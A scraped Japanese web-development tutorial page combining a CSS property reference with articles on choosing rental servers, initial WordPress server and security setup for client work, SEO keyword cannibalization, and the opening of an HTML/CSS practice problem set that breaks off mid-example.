ページの構造やFlexbox・Gridなどの配置レイアウトに関するプロパティです。 プロパティ説明使用例display要素の表示形式を指定display: flex; / display: grid; / display: none;position要素の配置方法を指定position: relative; / position: absolute; / position: sticky;top / right / bottom / leftpositionで配置した要素の位置を指定top: 0; left: 50%;z-index要素の重なり順を指定z-index: 10;float要素を左右に回り込ませるfloat: left;clearfloatの回り込みを解除clear: both;flex-directionFlexアイテムの並び方向flex-direction: column;flex-wrapFlexアイテムの折り返しflex-wrap: wrap;flex-growFlexアイテムの伸び率flex-grow: 1;flex-shrinkFlexアイテムの縮み率flex-shrink: 0;flex-basisFlexアイテムの基準サイズflex-basis: 200px;justify-content主軸方向の配置justify-content: center; / space-betweenalign-items交差軸方向の配置align-items: center; / stretchalign-self個別アイテムの交差軸配置align-self: flex-end;align-content複数行の交差軸配置align-content: space-around;gapFlex/Grid要素間の隙間gap: 16px; / gap: 16px 24px;orderFlexアイテムの表示順order: -1;grid-template-columnsGridの列構成を定義grid-template-columns: repeat(3, 1fr);grid-template-rowsGridの行構成を定義grid-template-rows: auto 1fr auto;grid-template-areasGridのエリア名を定義grid-template-areas: "header header" "sidebar main";grid-columnGrid要素の列位置を指定grid-column: 1 / 3;grid-rowGrid要素の行位置を指定grid-row: span 2;grid-areaGrid要素の配置エリアを指定grid-area: header;grid-auto-flowGrid自動配置の方向grid-auto-flow: dense;grid-auto-columns暗黙的に追加される列のサイズgrid-auto-columns: minmax(100px, 1fr);grid-auto-rows暗黙的に追加される行のサイズgrid-auto-rows: 200px;place-itemsalign-items + justify-itemsの一括指定place-items: center;place-contentalign-content + justify-contentの一括指定place-content: center;justify-itemsGrid要素の水平配置justify-items: start;justify-self個別Grid要素の水平配置justify-self: end; ▶ WordPress関数一覧【テーマ・プラグイン開発向け使用例付きリファレンス】 コードの差分を比較したいときは Diff Checker（コード比較ツール） もご活用ください。 ボックスモデル 要素のサイズ・余白・はみ出し制御に関するプロパティです。 プロパティ説明使用例width要素の幅を指定width: 100%; / width: 300px;height要素の高さを指定height: 100vh;max-width最大幅を制限max-width: 1200px;min-width最小幅を保証min-width: 320px;max-height最大高さを制限max-height: 500px;min-height最小高さを保証min-height: 100vh;margin外側の余白を設定margin: 0 auto; / margin-block: 2rem;padding内側の余白を設定padding: 16px 24px;box-sizing幅・高さの計算方法を指定box-sizing: border-box;overflowはみ出したコンテンツの処理overflow: hidden; / overflow: auto;overflow-x / overflow-y水平・垂直方向のはみ出し個別制御overflow-x: scroll; overflow-y: hidden;aspect-ratio幅と高さの比率を指定aspect-ratio: 16 / 9;block-size / inline-size書字方向に対応したサイズ指定block-size: 100%; inline-size: fit-content;margin-block / margin-inline論理方向の余白margin-inline: auto;padding-block / padding-inline論理方向の内側余白padding-block: 1rem; ▶ WordPress関数一覧【テーマ・プラグイン開発向け使用例付きリファレンス】 コードの差分を比較したいときは Diff Checker（コード比較ツール） もご活用ください。 テキスト・フォント 文字の見た目・サイズ・配置・装飾に関するプロパティです。 プロパティ説明使用例font-size文字サイズを指定font-size: 16px; / font-size: clamp(16px, 2vw, 24px);font-weight文字の太さを指定font-weight: bold; / font-weight: 700;font-familyフォントの種類を指定font-family: 'Noto Sans JP', sans-serif;font-styleイタリック等のスタイルfont-style: italic;font-variant小型大文字などのバリアントfont-variant: small-caps;font-feature-settingsOpenType機能の有効化font-feature-settings: 'palt';font-variation-settings可変フォントの軸を調整font-variation-settings: 'wght' 450;line-height行の高さを指定line-height: 1.8;letter-spacing文字間の間隔letter-spacing: 0.05em;word-spacing単語間の間隔word-spacing: 0.1em;text-alignテキストの水平配置text-align: center; / text-align: justify;text-decoration下線・取消線などの装飾text-decoration: underline wavy red;text-transform大文字・小文字の変換text-transform: uppercase;text-indent最初の行の字下げtext-indent: 1em;text-overflowはみ出したテキストの処理text-overflow: ellipsis;text-shadowテキストに影をつけるtext-shadow: 2px 2px 4px rgba(0,0,0,.3);white-space空白・改行の扱いwhite-space: nowrap; / pre-wrapword-break単語の改行ルールword-break: break-all;overflow-wrap長い単語の折り返しoverflow-wrap: break-word;writing-modeテキストの書字方向writing-mode: vertical-rl;directionテキストの方向（RTL/LTR）direction: rtl;hyphensハイフンによる自動改行hyphens: auto;text-wrapテキストの折り返しバランスtext-wrap: balance;line-break行分割の厳密さline-break: strict; ▶ WordPress関数一覧【テーマ・プラグイン開発向け使用例付きリファレンス】 コードの差分を比較したいときは Diff Checker（コード比較ツール） もご活用ください。 背景・装飾 背景色・画像、枠線、影、透明度などの装飾プロパティです。 ### [ポートフォリオ公開するためのレンタルサーバーの選び方](https://codequest.work/portfolio-rental-server/) Web制作を学んで作品が増えてきたら、次のステップはポートフォリオサイトの公開です。ローカル環境で作ったサイトをインターネット上に公開するには、レンタルサーバーとドメインが必要になります。 この記事では、初めてポートフォリオサイトを公開する人向けに、サーバーの選び方からドメイン取得、公開までの流れをわかりやすく解説します。 結論：初めてポートフォリオサイトを公開するなら、WINGパックで独自ドメインが2つ無料になり、月額1,000円前後で始められる「ConoHa WING」が有力候補です。HTML/CSSだけの静的サイトならGitHub Pagesなどの無料ホスティングでも公開できるため、まずは自分の作品に何が必要かを整理しましょう。 なぜレンタルサーバーが必要なのか ローカル環境（自分のPC上）で作ったWebサイトは、自分しか見ることができません。採用担当者やクライアントに作品を見てもらうには、インターネット上にファイルを置く場所＝サーバーが必要です。 自前でサーバーを構築するのは初心者にはハードルが高いため、月額数百円〜利用できるレンタルサーバーを使うのが一般的です。 GitHub PagesやVercelではダメなの？ 結論から言うと、目的によります。 HTML/CSS/JavaScriptだけの静的サイトなら、GitHub PagesやVercelなどの無料ホスティングサービスでも十分です。ただし以下のようなケースでは、レンタルサーバーのほうが適しています。 WordPressサイトを公開したい：PHP+MySQLが必要なため、静的ホスティングでは動かない 独自ドメインでメールアドレスも使いたい：レンタルサーバーならメール機能も付いてくる PHPやデータベースを使った作品がある：動的サイトにはサーバーサイドの実行環境が必要 Web制作の案件を受注する予定がある：クライアントのサーバー操作に慣れておく意味でも経験が大事 GitHub Pagesで公開する手順は「GitHub入門ガイド｜Git基礎コマンドからGitHub Pagesでのサイト公開まで」で解説しています。 レンタルサーバーを選ぶ5つのポイント 1. 表示速度 ポートフォリオサイトは第一印象が命です。ページの読み込みが遅いだけで「この人の技術力は大丈夫かな？」と思われてしまう可能性があります。SSD搭載・高速化技術（LiteSpeedやHTTP/3など）に対応したサーバーを選びましょう。 2. 無料SSL対応 SSL（https://〜）は今や必須です。SSLなしのサイトはブラウザで「保護されていない通信」と警告が表示され、それだけで印象が悪くなります。無料でSSLが使えるサーバーを選びましょう。現在はほぼ全てのレンタルサーバーが無料SSL（Let's Encrypt）に対応しています。 3. WordPressの簡単インストール WordPressの作品を公開する予定があるなら、ワンクリックでインストールできる機能があると便利です。データベースの作成やファイルのアップロードを手動でやる必要がなくなります。 4. 料金 ポートフォリオ用途なら、月額1,000円前後のプランで十分です。アクセスが大量に来るわけではないので、最上位プランは不要です。ただし、安さだけで選ぶと表示速度やサポートで後悔することもあるので、バランスを見ましょう。 5. 管理画面の使いやすさ 初心者のうちは管理画面のわかりやすさが重要です。ドメインの設定、SSL化、ファイルマネージャーなど、直感的に操作できるかどうかで作業効率が大きく変わります。 ポートフォリオ公開におすすめのレンタルサーバー 上記5つのポイントを満たし、初心者のポートフォリオ公開で選ばれることが多いのが「ConoHa WING」と「エックスサーバー」の2社です。まず違いを表で整理します。 項目ConoHa WINGエックスサーバー月額料金の目安1,000円前後（WINGパック）1,000円前後独自ドメイン無料特典2つ（WINGパック契約時）あり（契約条件つき）表示速度国内最速クラス高速・安定自動バックアップ14日分を標準搭載14日分を標準搭載サポートメール・チャット・電話メール・チャット・電話向いている人費用を抑えて速く始めたい初心者案件・法人利用も見据えたい人 ConoHa WING GMOインターネットグループが運営する高速レンタルサーバーです。国内最速クラスの処理速度と、WINGパックなら独自ドメインが2つまで無料で取得できるのが特徴。WordPressの簡単インストール・無料SSL・自動バックアップ（14日分）が標準搭載されており、初心者でも迷わず始められます。 メリット・デメリットの詳細は「ConoHa WINGは自分に合うか｜契約前の確認と初期設定」でレビューしています。 ConoHa WINGに決めた人は、ConoHa WINGでWordPressをインストールする手順で申し込みから公開までを画面つきで確認できます。 エックスサーバー 国内シェアNo.1のレンタルサーバーで、20年以上の運用実績があります。安定性の高さに定評があり、法人利用や案件用途にも安心。電話サポートがあるため、トラブル時にすぐ相談できるのもポイントです。WordPress案件で迷ったらエックスサーバーを選んでおけば間違いありません。 エックスサーバーに決めた人は、エックスサーバーでWordPressをインストールする手順で申し込みから公開までを画面つきで確認できます。 ドメインの取得 独自ドメインとは、tanaka-portfolio.com のような自分だけのURLのことです。レンタルサーバーの初期ドメイン（例：tanaka.conohawing.com）でも公開はできますが、独自ドメインのほうがプロフェッショナルな印象を与えます。 ドメイン名の決め方 自分の名前 + portfolio：tanaka-portfolio.com（わかりやすい） 屋号やブランド名：tanaka-design.com（将来的に事業化する場合に便利） 短くて覚えやすいものがベスト。長すぎるURLは名刺やSNSに載せにくい ドメインの取得方法 ドメインの取得方法は大きく2つあります。 レンタルサーバーのセット特典で取得：ConoHa WINGのWINGパックなどでは、サーバー契約時に独自ドメインが無料でもらえます。DNS設定も自動で行われるため、初心者にはこの方法が最も簡単です。 ドメイン取得サービスで取得：お名前.comなどのドメインレジストラで取得し、サーバーに紐づける方法です。サーバーとは別に管理できるため、将来サーバーを乗り換える際にドメインだけ持っていけるメリットがあります。 お名前.com 国内最大級のドメイン取得サービスです。.com/.net/.jpなど幅広いドメインを取り扱っており、取得費用も業界最安水準。ドメインとサーバーを別々に管理したい場合や、将来サーバーを乗り換える可能性がある場合は、お名前.comでドメインだけ取得しておくのがおすすめです。 ポートフォリオサイト公開までの流れ 全体の流れを把握しておくと、迷わず進められます。 レンタルサーバーを契約する 独自ドメインを取得・設定する SSLを有効化する（無料SSLをONにするだけ） ファイルをアップロードする（FTPソフトまたはファイルマネージャー） ブラウザで表示確認する WordPressサイトの場合は、手順4が「WordPressをインストールする」に変わります。ほとんどのレンタルサーバーでワンクリックインストール機能が用意されているので、数分で完了します。 公開後にやるべきこと スマホでも表示を確認する：レスポンシブ対応が崩れていないかチェック（レスポンシブデザイン入門で基本を確認できます） 表示速度を確認する：PageSpeed Insightsでスコアを確認し、画像の最適化などを行う OGP画像を設定する：SNSでシェアされたときのサムネイル画像を設定しておく 名刺やSNSのプロフィールにURLを載せる：せっかく作ったポートフォリオは積極的に見てもらおう 今後Web制作の案件を受注する予定がある人は、「WordPress案件を受注したら最初にやるサーバー設定」もあわせて読んでおくと安心です。 公開したサイトが落ちたことに自分で気づける状態にしておくと、案件を受けたときにそのまま使えます。無料でできる外形監視の入れ方はWeb制作者のためのSRE入門にまとめています。 よくある質問 Q. 無料のレンタルサーバーではダメですか？ 無料サーバーは広告が表示されたり、表示速度が遅かったり、突然サービスが終了するリスクがあります。ポートフォリオは自分の名刺代わりなので、月額1,000円程度の有料サーバーを使うことをおすすめします。 Q. ドメインは.comと.jpどちらがいいですか？ ポートフォリオ用途なら.comで十分です。.jpは信頼感がありますが年間費用が高めです。.workや.devなどのドメインもクリエイター向けで人気があります。 Q. サーバーの契約期間はどれくらいがいいですか？ まずは12ヶ月契約がおすすめです。月払いより割安で、かつ長すぎないのでサービスが合わなかった場合のリスクも抑えられます。多くのサーバーでは長期契約ほど月額が安くなるため、続ける自信があれば36ヶ月契約も選択肢になります。 Q. サーバーとドメインは同じ会社で揃えるべきですか？ 初心者なら同じ会社で揃えるのが楽です。DNS設定が自動化されるため、設定ミスのリスクが減ります。将来的にサーバーを乗り換える可能性がある場合は、ドメインだけ別のレジストラ（お名前.comなど）で管理するのも一つの手です。 Q. ポートフォリオ公開の費用は合計いくらかかりますか？ サーバー代が月額1,000円前後（年間12,000円程度）、独自ドメイン代が年間1,500円前後が目安です。ConoHa WINGのWINGパックのように独自ドメイン無料特典つきのプランを選べば、実質サーバー代だけで運用できます。 まとめ：サーバー契約がポートフォリオ公開の第一歩 WordPressや動的サイトを公開するならレンタルサーバーが必要 選ぶ基準は「表示速度・無料SSL・簡単インストール・料金・管理画面」の5つ 初心者はConoHa WING、案件利用も見据えるならエックスサーバーが目安 独自ドメインはサーバーのセット特典で取得すると設定が簡単 ポートフォリオは公開して初めて、採用担当者やクライアントに届きます。サーバー契約から公開までは1日あれば完了するので、この記事の手順でぜひ公開まで進めてみてください。 ConoHa WING 公式サイトを見る ### [WordPress案件を受注したら最初にやるサーバー設定](https://codequest.work/wordpress-server-setup-for-client/) WordPress案件を受注した——おめでとうございます。でも「まず何をすればいいんだろう？」と不安になっていませんか？ この記事では、WordPress案件で最初にやるべきサーバー周りの設定を順番に解説します。契約からSSL・セキュリティ・バックアップまで、この記事の通りに進めればひと通りの初期設定が完了します。 サーバーの契約 クライアントが既にサーバーを持っている場合はそのまま使いますが、新規契約の場合はサーバー選びからスタートです。 誰が契約するのか確認する 最初に確認すべきは「サーバーとドメインは誰の名義で契約するか」です。 クライアント名義（推奨）：納品後の管理責任が明確。契約情報を共有してもらい、制作者は操作権限をもらう 制作者名義：保守契約込みの場合に多い。契約・管理を自分で行い、月額費用はクライアントに請求する どちらの場合も、契約内容（プラン・期間・支払い方法）は必ず書面やチャットで記録に残しましょう。後からトラブルになるケースがあります。 案件向けサーバーの選び方 案件用のサーバーには、ポートフォリオ用途以上の信頼性が求められます。 自分の作品を公開するためのサーバー選びは「ポートフォリオサイトを公開するためのレンタルサーバーの選び方」で解説しています。 自動バックアップ機能：万が一のデータ消失に備えて必須。ConoHa WINGなら過去14日分の自動バックアップが標準搭載 稼働率の高さ：99.99%以上の稼働率を公表しているサーバーを選ぶ 電話サポート：クライアントから緊急の問い合わせがあったとき、サーバー会社にすぐ聞ける体制があると安心 ステージング環境：本番と同じ環境でテストできる機能。更新作業で本番を壊すリスクを減らせる ConoHa WING GMOインターネットグループが運営する高速レンタルサーバーです。国内最速クラスの処理速度と、WINGパックなら独自ドメインが2つまで無料で取得できるのが特徴。WordPressの簡単インストール・無料SSL・自動バックアップ（14日分）が標準搭載されており、初心者でも迷わず始められます。 エックスサーバー 国内シェアNo.1のレンタルサーバーで、20年以上の運用実績があります。安定性の高さに定評があり、法人利用や案件用途にも安心。電話サポートがあるため、トラブル時にすぐ相談できるのもポイントです。WordPress案件で迷ったらエックスサーバーを選んでおけば間違いありません。 エックスサーバーでの契約からWordPress設置までの実際の流れは「エックスサーバーでWordPressをインストールする手順」で画面つきで解説しています。 ドメインの取得と設定 クライアントが既にドメインを持っている場合は、ネームサーバーの変更だけで済みます。新規取得の場合は、サーバーのセット特典を使うか、お名前.comなどのドメインレジストラで取得します。 DNS設定のポイント ネームサーバーの変更：ドメインレジストラ側で、レンタルサーバーのネームサーバーを指定する 反映待ち：DNS変更は反映に数時間〜最大72時間かかることがある。納品直前に慌てないよう早めに設定しておく メール設定：既存のメールサーバーがある場合、ネームサーバー変更でメールが止まることがある。MXレコードの確認を忘れずに MXレコードの確認手順と、ネームサーバー変更でメールが止まったときの切り分けはHTML・WordPress・メールのサーバー構成まとめで解説しています。 お名前.com 国内最大級のドメイン取得サービスです。.com/.net/.jpなど幅広いドメインを取り扱っており、取得費用も業界最安水準。ドメインとサーバーを別々に管理したい場合や、将来サーバーを乗り換える可能性がある場合は、お名前.comでドメインだけ取得しておくのがおすすめです。 SSL（https化）の設定 SSLは必須です。Googleはhttpsをランキング要因の一つとしていますし、何よりhttpのサイトはブラウザで警告が表示されます。クライアントのサイトでこれは絶対にNGです。 サーバー管理画面で無料SSLを有効化する WordPressの設定 → 一般で、サイトURLをhttps://に変更する httpからhttpsへの301リダイレクトを設定する（.htaccessまたはサーバー設定） 混在コンテンツ（Mixed Content）がないか確認する：画像やCSSがhttpで読み込まれていると鍵マークが表示されない WordPressのインストールと初期設定 サーバーの「WordPress簡単インストール」機能を使えば、数分でインストールが完了します。インストール後に以下の初期設定を行いましょう。 最初にやる設定チェックリスト パーマリンク設定：「投稿名」に変更する（デフォルトの ?p=123 はSEOに不利） サイトタイトルとキャッチフレーズ：クライアントの会社名・サービス名を設定 タイムゾーン：「東京」になっているか確認（UTC+9） 検索エンジンの表示：制作中は「検索エンジンがサイトをインデックスしないようにする」にチェックを入れておく（公開時に外すのを忘れずに） 不要な初期プラグインの削除：Hello Dolly、Akismetなど使わないプラグインを削除 サンプルページ・投稿の削除：「Hello world!」と「サンプルページ」を削除 セキュリティ設定 クライアントのサイトが攻撃を受けたら、制作者の責任問題にもなりかねません。最低限のセキュリティ対策は初期設定の段階で行っておきましょう。 最低限やるべきセキュリティ対策 管理者パスワードを強固にする：英数字・記号を含む16文字以上を推奨 ログインURLの変更：デフォルトの /wp-admin はブルートフォース攻撃の標的になる セキュリティプラグインの導入：SiteGuard WP Pluginなど、ログイン画面の保護やIP制限が簡単にできる XML-RPCの無効化：使用しない場合は無効にしておく（DDoS攻撃の踏み台にされるリスクがある） ファイル編集の無効化：wp-config.phpにdefine('DISALLOW_FILE_EDIT', true);を追加して、管理画面からのテーマ・プラグイン編集を無効にする バックアップ設定 「バックアップは保険」です。サーバーの自動バックアップだけに頼らず、自分でもバックアップを取っておきましょう。 二重バックアップの仕組みを作る サーバーの自動バックアップ：ConoHa WINGなら14日分が自動保存される。追加料金なしで使えるので必ず有効にしておく プラグインでのバックアップ：UpdraftPlusなどのプラグインでGoogleドライブやDropboxに定期バックアップを設定する。サーバー障害でデータが消えた場合の保険になる 納品前のサーバー設定チェックリスト 納品前に以下を最終確認しましょう。 SSLが正しく動作している（鍵マーク表示） httpからhttpsへのリダイレクトが動いている 「検索エンジンがサイトをインデックスしないようにする」のチェックを外した バックアップが正常に動作している ログインURLを変更し、クライアントに共有した 不要なプラグイン・テーマを削除した PHPバージョンが最新の安定版になっている 管理者アカウントのパスワードが十分に強固 よくある質問 Q. クライアントのサーバー情報はどうやってもらえばいいですか？ サーバー管理画面のログイン情報（URL・ID・パスワード）、FTP情報、ドメイン管理画面のログイン情報をリストにして共有してもらいましょう。情報はパスワードマネージャーで管理し、チャットやメールにパスワードを直接書くのは避けてください。 Q. テスト環境は本番サーバーに作っていいですか？ はい、サブドメイン（例：test.example.com）やステージング機能を使って本番サーバー上にテスト環境を作るのが一般的です。ローカル環境だけでテストすると、サーバー固有の問題（PHPバージョン差異やパーミッション）を見逃す可能性があります。 Q. サーバーの保守管理も引き受けるべきですか？ 可能であれば月額の保守契約を提案しましょう。WordPress本体・プラグイン・PHPのアップデート、バックアップの確認、セキュリティ監視などを定期的に行うことで、クライアントとの継続的な関係を築けます。保守費用の相場は月額5,000〜30,000円程度です。 Q. サーバー移行を頼まれたらどうすればいいですか？ WordPressの移行にはAll-in-One WP Migrationなどのプラグインを使う方法と、手動でファイル・データベースを移行する方法があります。プラグインが最も簡単ですが、サイトの容量が大きい場合は手動移行が必要になることもあります。移行前には必ず元サーバーの完全バックアップを取っておきましょう。 ### [カニバリゼーションとは？自分のサイト同士で検索順位を食い合う現象を解説](https://codequest.work/seo-cannibalization/) 「同じキーワードで自分のページ同士が検索結果に並んでいる」——そんな経験はありませんか？ SEOの世界では、この現象をカニバリゼーション（カニバリ）と呼びます。自サイト内のページ同士が同じキーワードで競合し、どちらの順位も中途半端になってしまう厄介な問題です。 SEOカニバリゼーション（共食い）とは、同一サイト内の複数ページが同じ検索キーワードで競合し、検索順位やクリックが分散してしまう現象です。対策の基本は、どのページを「主役」にするかを決め、内部リンクとcanonicalで評価を1ページに集約し、残りは切り口を差別化すること。記事の削除や強制的な統合をしなくても、多くのケースは差別化と内部リンクの整理で解消できます。 SEO担当者には常識でも、エンジニアやデザイナーには馴染みが薄いこの現象。この記事では、カニバリの仕組みから検知方法・対策まで、初心者にもわかるように解説します。 カニバリゼーションとは？ カニバリゼーションとは、同じサイト内の複数ページが同じ検索キーワードで競合してしまう現象です。英語の「cannibalization」が語源で、SEOでは「カニバリ」と略されることが多いです。 たとえば、あなたが「Next.js SSR 解説」というテーマで自サイトに記事を書き、さらにZennにも似た内容の記事を投稿したとします。Googleはどちらを上位に表示すべきか判断に迷い、結果として両方とも20位台に沈む——これがカニバリです。 同一ドメイン内でも起こります。ブログに「WordPressの始め方」と「WordPress初心者ガイド」という似た記事があれば、Googleは2つのページのどちらを検索結果に出すか迷ってしまいます。 なぜカニバリが起きるのか カニバリが発生する主な原因は以下の3つです。 複数メディアでの発信 自社サイト・Zenn・Qiita・noteなど、複数のプラットフォームで同じテーマの記事を書くケースです。エンジニアやブロガーに特に多いパターンで、書いた本人は別メディアだと思っていても、Googleから見れば同じキーワードを狙うページが複数存在することになります。 同じテーマの記事を量産している 「SEO対策の基本」「SEO対策まとめ」「SEO対策の始め方」のように、微妙に切り口を変えた記事を何本も書いていると、Googleはどのページが最も適切か判断しにくくなります。記事数が増えるほどリスクは高まります。 カテゴリ・タグページとの競合 WordPressでは、カテゴリページやタグページもGoogleにインデックスされます。記事本文とカテゴリページが同じキーワードで競合するケースも意外と多いです。 カニバリが引き起こす3つの問題 検索順位の低下 本来1ページに集中するはずの評価が複数ページに分散し、どのページも上位に届かなくなります。1本の強い記事で10位を取れるはずが、2本の記事に分散して両方30位——というのがカニバリの典型的な症状です。 CTR（クリック率）の分散 同じサイトから2つのページが検索結果に表示されると、ユーザーのクリックが分散します。片方のページに集約できれば得られたはずのクリックが、2つに分かれてしまうのです。 クロールバジェットの浪費 Googleがサイトをクロールする回数には限りがあります（クロールバジェット）。似た内容のページが多いと、重要なページのクロール頻度が下がり、新しいコンテンツのインデックスが遅れる原因にもなります。 SEOカニバリの具体例 「リセットCSS」を主題にした記事を2本公開しているケースを考えてみましょう。当初はA記事が10位前後で安定していたのに、似たテーマのB記事を追加した直後からAが15位→20位と下がり、Bも上位に定着しない——これは典型的なカニバリです。Search Consoleで「リセットCSS」を含むクエリを見ると、同じキーワードでA・B両方のURLが交互に表示され、クリックが二分されているのが確認できます。 状態表示回数平均順位クリックカニバリ発生前（A単独・例）1,0009位60カニバリ発生後（A+B分散・例）1,10016位 / 22位28 表示回数は増えても、順位が落ちてクリック総数はむしろ減る——これがカニバリの怖さです。（数値は説明のための例です） Search Consoleでカニバリを確認する方法 カニバリを完璧に防ぐのは現実的ではありません。大切なのは、発生したときに気づいて対処できる状態を維持することです。Google Search Consoleを使えば、カニバリの兆候を簡単に確認できます。 確認手順 Search Consoleの「検索パフォーマンス」を開く 「クエリ」タブで気になるキーワードをクリック 「ページ」タブに切り替える 同じクエリに対して複数のURLが表示されていないか確認する 同じキーワードに対して2つ以上のURLが表示され、それぞれの掲載順位が不安定に入れ替わっている場合は、カニバリが発生している可能性が高いです。 カニバリを疑うべきサイン 同じクエリで表示されるURLが日によって変わる 狙ったキーワードの順位が安定しない ページAの順位が上がるとページBが下がる（シーソー現象） 似たテーマの記事を書いた直後に既存記事の順位が下がった カニバリの判定チェックリスト 次のサインが2つ以上当てはまったら、カニバリを疑いましょう。 同じ検索キーワードで、自サイトの複数URLが30位以内に共存している ある記事を追加・更新した直後から、別の既存記事の順位が下がった Search Consoleの同一クエリで、着地ページが日によって入れ替わる 本来上位であるはずの記事より、タグ・カテゴリの一覧ページが上に表示されている 複数記事のCTRが、単独で運用していた頃より明らかに低い 具体的な確認操作は前章「Search Consoleでカニバリを確認する方法」を参照してください。 カニバリの対策5選 カニバリが見つかったら、状況に応じて以下の対策を使い分けましょう。 1. 内部リンクを集中させる 「このキーワードではこのページを上位表示させたい」と決めたら、サイト内の他のページからそのページへ内部リンクを集中させます。Googleに対して「このページが最も重要」というシグナルを送る、最も手軽で効果的な方法です。 2. canonicalタグで正規URLを指定する 似た内容のページが複数ある場合、サブページのhead内に<link rel="canonical" href="正規ページのURL">を設置します。「このページの本体はあちらです」とGoogleに伝えることで、評価を正規ページに集約できます。 3. 記事を統合する 内容の重複が著しい場合の最終手段が統合です。実行するなら、統合元の記事を301リダイレクトで統合先に転送し、被リンクの評価を引き継ぎます。ただし後述のとおり、多くのケースは差別化と内部リンクの整理で解消できるため、先にそちらを試してください。 4. 切り口を明確に差別化する 同じテーマでも、ターゲットキーワードや検索意図を明確に分けることでカニバリを回避できます。たとえば「WordPress 始め方」は初心者向けのチュートリアル、「WordPress 設定 おすすめ」は中級者向けのTips集、というように読者層と切り口を分けましょう。 5. noindexで検索対象から除外する 重要度が低いページ（古い記事、タグページなど）にはnoindexを設定し、Googleの検索結果から除外します。検索結果に出す必要がないページを整理することで、重要なページへの評価集中が期待できます。 重複しているページの構造はDirebase（ディレベース）で診断できます 実務でのカニバリ解消手順（統合・リダイレクトに頼らない） CodeQuestでは、記事を削除・統合したり、リダイレクトでURLを消したりせず、各記事を活かしたままカニバリを解消する方針をとっています。具体的な手順は次の通りです。 主役ページを決める：検索意図に最も合致し、内容・順位で優位な1本を主役に選ぶ。 内部リンクを主役へ集中：関連記事から主役へ、キーワードを含むアンカーテキストでリンクを集める。 canonicalで評価を寄せる：意図が重なるページから主役へcanonicalを指定する。 脇役は切り口を差別化：主役と検索意図が被らないよう、事例・手順・比較などの副題を加筆して別の意図を狙う。 記事の統合は、情報量の重複が著しい場合の最終手段です。まずは差別化と内部リンクの整理で解決できるケースが大半です。 あわせて読みたい：SEO対策ガイド／検索意図に合わせたSEOライティング／クエリファンアウト・ゼロクリック対策 実例｜GSCで検出した2件のカニバリと、その解消 手順だけでは判断が付きにくいので、当サイトで実際に検出したカニバリを2件、実数値のまま公開します（Google Search Console・2026年5月4日〜7月31日の90日間）。 ケース1｜記事同士が同一クエリで競合していた AI検索関連の2記事が、同じクエリ「aeo geo 違い」で両方とも検索結果に出ていました。 ページ「aeo geo 違い」での表示／順位90日の合計表示記事A（用語の違いを解説）228回／23.7位2,137回記事B（3軸の役割と戦略）87回／71.6位142回 典型的なカニバリです。記事Bは同じクエリに出ているのに71.6位で、クリックはゼロ。しかも記事Aの15分の1しか表示を取れていません。 やったこと：統合もリダイレクトもせず、主役を記事Aに確定。記事Bからは「違い」の解説をすべて削除し、「3軸に何割ずつ時間を使うか」という配分設計の記事へ主軸をずらしました。定義を知りたい読者は記事Aへ内部リンクで送り、記事Aからも記事Bへ「違いを理解した後に読む記事」として送る相互リンクを張っています。タイトルも配分寄りに変更しました。 ケース2｜タグアーカイブが記事本体を食っていた 見落としやすいのがこちらです。記事ではなく、タグの一覧ページが上位に出ていました。 クエリ記事本体タグ一覧ページカニバリ seo25回／76.6位136回／74.8位カニバリとは seo12回／78.1位55回／72.9位カニバリ対策 seo8回／83.4位55回／79.2位 3クエリすべてでタグページのほうが表示回数も順位も上でした。タグページは記事タイトルが並ぶだけで中身がないため、順位も70位台に留まりクリックはゼロ。本来なら記事本体に集まるはずの表示が、中身のないページに吸われている状態です。 判定のコツ：Search Consoleを「ページ」ではなく「クエリ」で見て、同じクエリに複数の自サイトURLが出ていないかを確認してください。ページ単位で眺めていると、タグページとの競合には気づけません。 対処は、タグページを noindex にするか、記事本体へ canonical を向けるかの二択が基本です。ただしタグページ経由の回遊がある場合は、noindexにしても内部リンクとしての価値は残ります（noindexは検索結果から外すだけで、リンクを辿る動きは維持されます）。 よくある質問 Q. カニバリゼーションは必ず悪いものですか？ 必ずしも悪いわけではありません。同じサイトから2ページが上位表示されれば、検索結果の占有面積が増えてクリック率が上がるケースもあります。ただし、それは両方が上位にいる場合の話で、両方とも順位が低迷しているなら対策が必要です。 Q. ZennやQiitaに書いた記事と自サイトでカニバリが起きたらどうすればいいですか？ 外部プラットフォームの記事にはcanonicalタグを自分で設定できないため、自サイト側の記事を強化するのが現実的です。 ### [HTML/CSS練習問題20選｜初心者向けコーディング実践課題集](https://codequest.work/html-css-practice-problems/) HTML/CSSの基礎を身につけるには、実際に手を動かして書くのが一番の近道です。この記事では、初心者〜中級者向けにHTML/CSSの練習問題を20問収録しました。 各問題には「お題」「ヒント」「解答例」を掲載しています。まずは自力で考え、詰まったらヒントを見て、最後に解答例と照らし合わせる流れで進めてください。 練習環境：ブラウザでCodePenを開けばすぐに始められます。ローカル環境で試したい場合はVSCodeでHTMLファイルを作成してブラウザで開いてください。 この20問は白紙から書く形式なので、タグやプロパティの記憶があいまいなうちは手が止まりがちです。基礎に不安があれば、先にブラウザだけで解ける練習アプリ（HTML 20問／CSS 24問）でウォームアップしてから戻ると進めやすくなります。書いたコードはその場でプレビューへ反映され、進捗は自動保存されます。 HTML基礎練習アプリ CSS基礎練習アプリ 初級編：HTMLの基本（1〜7問） 問題1：自己紹介ページを作ろう お題：名前・年齢・趣味を含む自己紹介ページを作成してください。見出し（h1）、段落（p）、箇条書きリスト（ul）を使いましょう。 ヒント：HTML文書の基本構造は <!DOCTYPE html>、<html>、<head>、<body> で構成されます。 解答例を見る <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>自己紹介</title> </head> <body> <h1>山田太郎の自己紹介</h1> <p>25歳のWeb制作を学んでいる初心者です。</p> <h2>趣味</h2> <ul> <li>プログラミング</li> <li>映画鑑賞</li> <li>ランニング</li> </ul> </body> </html> 問題2：リンクと画像を配置しよう お題：好きなWebサイトへのリンクと、画像を1枚表示するページを作成してください。リンクは新しいタブで開くようにしましょう。 ヒント：<a> タグの target="_blank" で新規タブ、<img> タグの alt 属性は必須です。 解答例を見る <h1>お気に入りサイト</h1> <p> <a href="https://developer.mozilla.org/" target="_blank" rel="noopener"> MDN Web Docs </a> </p> <img src="https://picsum.photos/400/300" alt="サンプル画像" width="400" height="300"> 問題3：テーブルを作成しよう お題：3人分の「名前・年齢・職業」を表示するテーブルを作成してください。見出しセル（th）とデータセル（td）を使い分けましょう。 ヒント：<thead> と <tbody> でテーブルの構造を明確にしましょう。 解答例を見る <table border="1"> <thead> <tr> <th>名前</th> 